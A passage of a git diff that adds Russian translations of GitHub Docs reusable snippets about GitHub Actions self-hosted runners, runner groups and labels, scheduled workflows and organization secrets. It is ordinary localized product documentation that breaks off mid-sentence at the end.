b/translations/ru-RU/data/reusables/actions/runner-label-settings.md new file mode 100644 index 000000000000..b862fc5d8950 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-label-settings.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7478c50deaeea65697ada0156fd4bedb0f849c50 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878786" +--- + 1. В разделе "Метки" щелкните {% octicon "gear" aria-label="The Gear icon" %}. diff --git a/translations/ru-RU/data/reusables/actions/runner-name-description.md b/translations/ru-RU/data/reusables/actions/runner-name-description.md new file mode 100644 index 000000000000..16f60e9ffb5a --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-name-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 92f9c6962ced87f0075e67d91920b4262d376bbe +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878768" +--- +Имя средства выполнения задания. diff --git a/translations/ru-RU/data/reusables/actions/runner-os-description.md b/translations/ru-RU/data/reusables/actions/runner-os-description.md new file mode 100644 index 000000000000..a382e4ae858f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-os-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4bf3f1a9bd94d5faf665ceab4c30925162bf2977 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089245" +--- +Операционная система средства выполнения тестов, выполняющего задание. Возможные значения — `Linux`, `Windows` или `macOS`. diff --git a/translations/ru-RU/data/reusables/actions/runner-temp-directory-description.md b/translations/ru-RU/data/reusables/actions/runner-temp-directory-description.md new file mode 100644 index 000000000000..062308c480e4 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-temp-directory-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2e1561ff6bfee56d135e4897fbc6d42e252a7809 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069472" +--- +Путь к временному каталогу в средстве выполнения. Этот каталог очищается в начале и конце каждого задания. Обратите внимание, что файлы не удаляются, если у учетной записи пользователя средства выполнения нет разрешения на их удаление. diff --git a/translations/ru-RU/data/reusables/actions/runner-tool-cache-description.md b/translations/ru-RU/data/reusables/actions/runner-tool-cache-description.md new file mode 100644 index 000000000000..174823cd9ffb --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-tool-cache-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6945058380431dbf753ad8dd9ce03c032193a46a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089242" +--- +Путь к каталогу, содержащему предустановленные средства для размещенных в {% data variables.product.prodname_dotcom %} средств выполнения. Дополнительную информацию см. в разделе [Сведения о средствах выполнения, размещенных в {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software). diff --git a/translations/ru-RU/data/reusables/actions/runner-workflow-continuity.md b/translations/ru-RU/data/reusables/actions/runner-workflow-continuity.md new file mode 100644 index 000000000000..4fb63b8f1875 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/runner-workflow-continuity.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d810c1d04e070750ead1b64ff62e54842a86feb1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069468" +--- +Если службы {% data variables.product.prodname_actions %} временно недоступны, выполнение рабочего процесса отменяется, если он не был помещен в очередь в течение 30 минут после активации. Например, если рабочий процесс активируется и службы {% data variables.product.prodname_actions %} недоступны в течение 31 минуты или дольше, выполнение рабочего процесса не будет обработано. diff --git a/translations/ru-RU/data/reusables/actions/schedule-delay.md b/translations/ru-RU/data/reusables/actions/schedule-delay.md new file mode 100644 index 000000000000..1276506b7c36 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/schedule-delay.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 62a80530a1429a4374c157d32f498912b16d7afc +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089237" +--- +{% note %} + +Примечание. Событие `schedule` можно отложить в периоды высокой загрузки {% data variables.product.prodname_actions %} при выполнении рабочих процессов. К периодам высокой загрузки относится начало каждого часа. Чтобы уменьшить вероятность задержки, запланируйте выполнение рабочего процесса в другое время часа. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/actions/scheduled-workflows-disabled.md b/translations/ru-RU/data/reusables/actions/scheduled-workflows-disabled.md new file mode 100644 index 000000000000..a0fdfda3a4e5 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/scheduled-workflows-disabled.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8cc9d14f8741de76a8a149620bc56b45b31e6712 +ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878594" +--- +Чтобы предотвратить ненужные запуски рабочих процессов, запланированные рабочие процессы могут быть отключены автоматически. При создании вилки общедоступного репозитория запланированные рабочие процессы по умолчанию отключаются. В общедоступном репозитории запланированные рабочие процессы автоматически отключаются, если в течение 60 дней не происходило никаких действий в репозитории. diff --git a/translations/ru-RU/data/reusables/actions/secrets-org-level-overview.md b/translations/ru-RU/data/reusables/actions/secrets-org-level-overview.md new file mode 100644 index 000000000000..2cac988cca91 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/secrets-org-level-overview.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b0b437ad3281c9421c305cd516ce1866a225e5fc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089226" +--- +В случае с секретами, хранящимися на уровне организации, можно использовать политики доступа для управления тем, какие репозитории могут использовать секреты организации. Секреты уровня организации позволяют совместно использовать секреты в нескольких репозиториях, что снижает потребность в создании повторяющихся секретов. При обновлении секрета организации в одном расположении это изменение вступает в силу во всех рабочих процессах репозитория, использующих этот секрет. diff --git a/translations/ru-RU/data/reusables/actions/secrets-redaction-warning.md b/translations/ru-RU/data/reusables/actions/secrets-redaction-warning.md new file mode 100644 index 000000000000..bf3b81ce0c20 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/secrets-redaction-warning.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 5b36c49c4b6bb230bda42beb45ef5cf672b95298 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145068047" +--- +{% warning %} + +**Предупреждение**. {% data variables.product.prodname_dotcom %} автоматически скрывает секреты, выводимые в журнал, однако не следует намеренно выводить секреты в журнал. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/actions/secrets-table-entry.md b/translations/ru-RU/data/reusables/actions/secrets-table-entry.md new file mode 100644 index 000000000000..a19a38fb85ae --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/secrets-table-entry.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 62c21517acadc4119bb188bf061a1c52e99006ad +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147061317" +--- +| Ссылки на секреты в рабочем процессе: | [Секреты](/actions/security-guides/encrypted-secrets)| diff --git a/translations/ru-RU/data/reusables/actions/section-using-unique-names-for-runner-groups.md b/translations/ru-RU/data/reusables/actions/section-using-unique-names-for-runner-groups.md new file mode 100644 index 000000000000..f9a3677468eb --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/section-using-unique-names-for-runner-groups.md @@ -0,0 +1,42 @@ +--- +ms.openlocfilehash: ec6ab3ed5541819ee7578b34ce61fc11de31b51f +ms.sourcegitcommit: d0cea547f6a5d991a28c310257cafd616235889f +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/01/2022 +ms.locfileid: "148120932" +--- + +{% ifversion target-runner-groups %} {% ifversion ghec or ghae or ghes %} +## Использование уникальных имен для групп средств выполнения + +{% data variables.product.prodname_actions %} требует, чтобы имена групп средств выполнения были уникальными на уровне организации. Это означает, что организация больше не сможет создать группу средств выполнения тестов с тем же именем, что и в организации. Кроме того, пользователи увидят баннер с предупреждением на всех группах средств выполнения тестов, которые имеют то же имя, что и группа на предприятии, предлагая переименовать группу организации. + +Чтобы избежать неоднозначности, рабочий процесс завершится сбоем при наличии повторяющихся групп средств выполнения в организации и на предприятии. Чтобы устранить эту проблему, можно либо переименовать одну из групп средств выполнения в организации или на предприятии, либо обновить файл рабочего процесса, добавив префикс в имя группы средства выполнения: + +- `org/` или `organization/` +- `ent/` или `enterprise/` + +### Пример. Использование префиксов для различения групп средств выполнения + +Например, если у вас есть группа `my-group` средств выполнения тестов в организации и другая группа с именем `my-group` в организации, вы можете обновить файл рабочего процесса, чтобы использовать `org/my-group` или `ent/my-group` различать их. + +Использование среды `org/`: + +```yaml +runs-on: + group: org/my-group + labels: [ self-hosted, label-1 ] +``` + +Использование среды `ent/`: + +```yaml +runs-on: + group: ent/my-group + labels: [ self-hosted, label-1 ] +``` + +{% endif %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-add-to-enterprise.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-add-to-enterprise.md new file mode 100644 index 000000000000..2cc570e591e7 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-add-to-enterprise.md @@ -0,0 +1,16 @@ +{%- ifversion ghec or ghes > 3.3 or ghae > 3.3 %} +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.enterprise-accounts.actions-runners-tab %} +{% ifversion actions-hosted-runners %}1. Click **New runner**, then click **New self-hosted runner**.{% else %}1. Click **New runner**.{% endif %} +{% data reusables.actions.self-hosted-runner-configure %} +{%- elsif ghae or ghes < 3.4 %} +To add a self-hosted runner to an enterprise, you must be an enterprise owner. +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.policies-tab %} +{% data reusables.enterprise-accounts.actions-tab %} +{% data reusables.enterprise-accounts.actions-runners-tab %} +1. Click **Add new**, then click **New runner**. +{% data reusables.actions.self-hosted-runner-configure %} +{%- endif %} diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-architecture.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-architecture.md new file mode 100644 index 000000000000..663ae4b8b785 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-architecture.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 34087856dda66efacfe610871c5473852168173c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145068030" +--- +Компьютер средства выполнения подключается к {% data variables.product.product_name %} с помощью локального приложения средства выполнения {% data variables.product.prodname_actions %}. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-auto-removal.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-auto-removal.md new file mode 100644 index 000000000000..f6fa64f23fc8 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-auto-removal.md @@ -0,0 +1,6 @@ +{%- ifversion fpt or ghec or ghes > 3.6 %} +A self-hosted runner is automatically removed from {% data variables.product.product_name %} if it has not connected to {% data variables.product.prodname_actions %} for more than 14 days. +An ephemeral self-hosted runner is automatically removed from {% data variables.product.product_name %} if it has not connected to {% data variables.product.prodname_actions %} for more than 1 day. +{%- elsif ghae or ghes < 3.7 %} +A self-hosted runner is automatically removed from {% data variables.product.product_name %} if it has not connected to {% data variables.product.prodname_actions %} for more than 30 days. +{%- endif %} diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-check-installation-success.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-check-installation-success.md new file mode 100644 index 000000000000..e9198b5b0830 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-check-installation-success.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: a9030eae8492863ee750f2a02eeac584fd13513a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145068023" +--- + +### Проверка успешного добавления локального средства выполнения + +После добавления локального средства выполнения само средство выполнения и сведения о его состояния можно просмотреть в разделе {% ifversion fpt or ghec %}"Средства выполнения"{% elsif ghae or ghes %}"Локальные средства выполнения"{% endif %}. + +Чтобы локальное средство выполнения могло принимать задания, его приложение должно быть активным. Если приложение средства выполнения подключено к {% data variables.product.product_name %} и готово принимать задания, в терминале компьютера появится следующее сообщение. + +{% data reusables.actions.self-hosted-runner-connected-output %} diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-configure.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-configure.md new file mode 100644 index 000000000000..d1a7870848bf --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-configure.md @@ -0,0 +1,24 @@ +--- +ms.openlocfilehash: 27ed9d55b8199298dc1cfdf8b4d3da925e08aa8d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145068007" +--- +1. Выберите образ операционной системы и архитектуру компьютера, на который будет установлено локальное средство выполнения тестов. +1. Отобразятся инструкции по скачиванию средства выполнения тестов и его установке на локальный компьютер. + + Откройте оболочку на локальном компьютере, где находится средство выполнения тестов, и выполните каждую команду оболочки в указанном порядке. + + {% note %} + + **Примечание.** В Windows, если локальное средство выполнения тестов необходимо установить в качестве службы, откройте оболочку с правами администратора. Мы также рекомендуем использовать `C:\actions-runner` в качестве каталога для локального приложения средства выполнения тестов, чтобы системные учетные записи Windows могли получить доступ к каталогу средства выполнения тестов. + + {% endnote %} + + В инструкциях указан порядок выполнения следующих задач: + - Скачивание и извлечение локального приложения средства выполнения тестов. + - Запуск скрипта `config` для настройки локального приложения средства выполнения тестов и его регистрации с помощью {% data variables.product.prodname_actions %}. Скрипту `config` требуется URL-адрес назначения и автоматически созданный маркер с ограничением по временем для проверки подлинности запроса. + - В Windows скрипт `config` также спрашивает, необходимо ли установить локальное приложение средства выполнения тестов в качестве службы. В Linux и macOS установить службу можно после завершения добавления средства выполнения тестов. Дополнительные сведения см. в разделе "[Настройка приложения средства выполнения тестов локального размещения как службы](/actions/automating-your-workflow-with-github-actions/configuring-the-self-hosted-runner-application-as-a-service)". + - Запуск локального приложения средства выполнения тестов для подключения компьютера к {% data variables.product.prodname_actions %}. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-description.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-description.md new file mode 100644 index 000000000000..c4cd818be9c9 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-description.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e92a10b7fc05c71e4038242e76adebe730122106 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879504" +--- +{% ifversion fpt or ghec %}Локальные средства выполнения тестов обеспечивают больший контроль над оборудованием, операционной системой и программными средствами, чем средства выполнения тестов, размещенные в {% data variables.product.prodname_dotcom %}. {% endif %}С помощью локальных средств выполнения тестов можно создавать пользовательские конфигурации оборудования, которые соответствуют вашим потребностям к вычислительной мощности или памяти для выполнения больших заданий, установки программного обеспечения, доступного в локальной сети, и выбрать операционную систему{% ifversion fpt or ghec %}, чего не могут предложить средства выполнения тестов, размещенные в {% data variables.product.prodname_dotcom %}{% endif %}. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-labels-runs-on.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-labels-runs-on.md new file mode 100644 index 000000000000..cd969607c628 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-labels-runs-on.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: e264eacc4226a90eb80980c2b19f48dc7c1889c7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879570" +--- +Чтобы указать локальное средство выполнения тестов для задания, настройте `runs-on` в файле рабочего процесса, используя метки локального средства выполнения тестов. + +Все локальные средства выполнения тестов имеют метку `self-hosted`. При использовании только этой метки будет выбрано любое локальное средство выполнения тестов. Чтобы выбрать средства выполнения тестов, которые соответствуют определенным критериям, таким как конкретная операционная система или архитектура, рекомендуется предоставить массив меток, начинающихся с `self-hosted` (сначала это должно быть указано), а затем включить дополнительные метки по мере необходимости. При указании массива меток задания будут помещены в очередь в средства выполнения тестов, которые имеют все указанные метки. + +Несмотря на то что метка `self-hosted` не является обязательной, настоятельно рекомендуется указать ее при использовании локальных средств выполнения тестов, чтобы убедиться, что задание не указывает случайно текущие или будущие данные средства выполнения тестов, размещенные в {% data variables.product.prodname_dotcom %}. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-labels-view-assigned-labels.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-labels-view-assigned-labels.md new file mode 100644 index 000000000000..ef158bd0ced8 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-labels-view-assigned-labels.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 574ad983bdf41a9df405dbfe1aabc74467039633 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089178" +--- +1. Найдите средство выполнения, которое нужно обновить, и щелкните {% octicon "triangle-down" aria-label="The downward triangle" %}, чтобы открыть меню выбора метки. В этом меню отображаются все настраиваемые метки, доступные для самостоятельно размещенного средства выполнения. Рядом с метками, уже назначенными локальному средству выполнения, имеется значок {% octicon "check" aria-label="Check mark" %}. + ![Изменение метки средства выполнения](/assets/images/help/settings/actions-runner-list-label.png) diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-list-group.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-list-group.md new file mode 100644 index 000000000000..dc171c9123ff --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-list-group.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2011a200266d3533d00f180339ff44f9937ffca1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145093090" +--- +1. Если средство выполнения находится в группе, найдите эту группу средств выполнения и щелкните {% octicon "chevron-down" aria-label="The downward chevron" %} для просмотра списка средств выполнения. + ![Список средств выполнения в группе](/assets/images/help/settings/actions-org-enterprise-list-group-runners.png) diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-list.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-list.md new file mode 100644 index 000000000000..0f801dac87c0 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-list.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a20d61ff086eda71e0d3bf84ead692056243fe1c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147061309" +--- +1. Выберите список средств выполнения в области "Средства выполнения". diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-locations.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-locations.md new file mode 100644 index 000000000000..69b2492aa9e2 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-locations.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4f1485c3d3f7f61261794d150cdec0022e7a23fb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089173" +--- +Локальные средства выполнения могут быть физическими, виртуальными, в контейнере, локальной среде или в облаке. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-management-permissions-required.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-management-permissions-required.md new file mode 100644 index 000000000000..9c3f42102fad --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-management-permissions-required.md @@ -0,0 +1,9 @@ +A self-hosted runner can be located in either your repository, organization, or {% ifversion fpt or ghec %}enterprise account settings on {% data variables.product.prodname_dotcom %}{% elsif ghes or ghae %} enterprise settings on {% data variables.location.product_location %}{% endif %}. To manage a self-hosted runner, you must have the following permissions, depending on where the self-hosted runner was added: +- **User repository**: You must be the repository owner. +- **Organization**: You must be an organization owner. +- **Organization repository**: You must be an organization owner, or have admin access to the repository. +{% ifversion ghec %} +- **Enterprise account**: You must be an enterprise owner. +{% elsif ghes or ghae %} +- **Enterprise**: You must be a {% data variables.product.prodname_enterprise %} site administrator. +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-navigate-repo-and-org.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-navigate-repo-and-org.md new file mode 100644 index 000000000000..a5cf6ebecc9a --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-navigate-repo-and-org.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: da28e3f2aebde989f155fdacc13fc5314e1698af +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879573" +--- +1. В организации или репозитории перейдите на главную страницу и щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-navigate-to-org-enterprise.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-navigate-to-org-enterprise.md new file mode 100644 index 000000000000..57f6acf7fa74 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-navigate-to-org-enterprise.md @@ -0,0 +1,24 @@ +--- +ms.openlocfilehash: 48dc95869bae901bf79df320e83b65979dedfd65 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147763751" +--- +{% ifversion fpt %} +1. Перейдите на главную страницу организации, где зарегистрировано локальное средство выполнения. +2. Щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. +{% data reusables.organizations.settings-sidebar-actions-runners %} {% elsif ghec or ghes or ghae %} +1. Перейдите к месту регистрации средства выполнения: + * **В организации**: перейдите на главную страницу и щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. + * **При использовании средства запуска уровня предприятия**: + +{% indented_data_reference reusables.enterprise-accounts.access-enterprise spaces=5 %} +1. Перейдите к параметрам {% data variables.product.prodname_actions %}: + * **В организации**: + +{% indented_data_reference reusables.actions.settings-ui.settings-actions-runners spaces=5 %} + * **При использовании средства запуска уровня предприятия**: + +{% indented_data_reference reusables.enterprise-accounts.policies-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-runners-tab spaces=5 %} {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-navigate-to-repo-org-enterprise.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-navigate-to-repo-org-enterprise.md new file mode 100644 index 000000000000..e17edb413f60 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-navigate-to-repo-org-enterprise.md @@ -0,0 +1,24 @@ +--- +ms.openlocfilehash: 8e533fd0a00968e8a7d9e05db91c69e8c6a2a47b +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147763775" +--- +{% ifversion fpt %} +1. Перейдите на главную страницу организации или репозитория, где зарегистрирована локальных средств выполнения. +2. Щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры**. +{% data reusables.organizations.settings-sidebar-actions-runners %} {% elsif ghec or ghes or ghae %} +1. Перейдите к месту регистрации средства выполнения: + * **В организации или репозитории**: перейдите на главную страницу и щелкните {% octicon "gear" aria-label="The Settings gear" %} **Параметры** + * **При использовании средства запуска уровня предприятия**: + +{% indented_data_reference reusables.enterprise-accounts.access-enterprise spaces=5 %} +2. Перейдите к параметрам {% data variables.product.prodname_actions %}: + * **В организации или репозитории**: + +{% indented_data_reference reusables.actions.settings-ui.settings-actions-runners spaces=5 %} {%- ifversion ghec or ghae or ghes %} + * **При использовании средства запуска уровня предприятия**: + +{% indented_data_reference reusables.enterprise-accounts.policies-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-tab spaces=5 %} {% indented_data_reference reusables.enterprise-accounts.actions-runners-tab spaces=5 %} {%- endif %} {% endif %} diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md new file mode 100644 index 000000000000..a648712470c1 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md @@ -0,0 +1 @@ +To use actions from {% data variables.product.prodname_dotcom_the_website %},{% ifversion ghes %} both {% data variables.location.product_location %} and{% endif %} your self-hosted runners must be able to make outbound connections to {% data variables.product.prodname_dotcom_the_website %}. No inbound connections from {% data variables.product.prodname_dotcom_the_website %} are required. For more information. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#communication-betweens-self-hosted-runners-and-githubcom)." diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-ports-protocols.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-ports-protocols.md new file mode 100644 index 000000000000..862638d843f3 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-ports-protocols.md @@ -0,0 +1,3 @@ +{% ifversion ghes or ghae %} +The connection between self-hosted runners and {% data variables.product.product_name %} is over {% ifversion ghes %}HTTP (port 80) or {% endif %}HTTPS (port 443). {% ifversion ghes %}To ensure connectivity over HTTPS, configure TLS for {% data variables.location.product_location %}. For more information, see "[Configuring TLS](/admin/configuration/configuring-network-settings/configuring-tls)."{% endif %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-public-repo-access.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-public-repo-access.md new file mode 100644 index 000000000000..95bdff9a9a00 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-public-repo-access.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: de1fde90a395b4ab7d9b2b36d4886a4cb716c609 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067943" +--- +{% note %} + +**Примечание**. По соображениям безопасности общедоступные репозитории не могут использовать средства выполнения в группе средств выполнения по умолчанию, но это поведение можно переопределить в параметрах такой группы. Дополнительные сведения см. в разделе [Управление доступом к средствам выполнения тестов локального размещения с помощью групп](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/actions/self-hosted-runner-removal-impact.md b/translations/ru-RU/data/reusables/actions/self-hosted-runner-removal-impact.md new file mode 100644 index 000000000000..583a1b7f61a2 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/self-hosted-runner-removal-impact.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b518476e8c760fedc47dd5a8e40d312c0ea39ec2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089122" +--- +Эта процедура служит для удаления локального средства выполнения тестов без возможности восстановления. Если вы хотите временно остановить назначение заданий средству выполнения тестов, можно либо выключить компьютер, либо остановить приложение `run`. Средство выполнения тестов останется назначенным в состоянии "Не в сети" и не будет 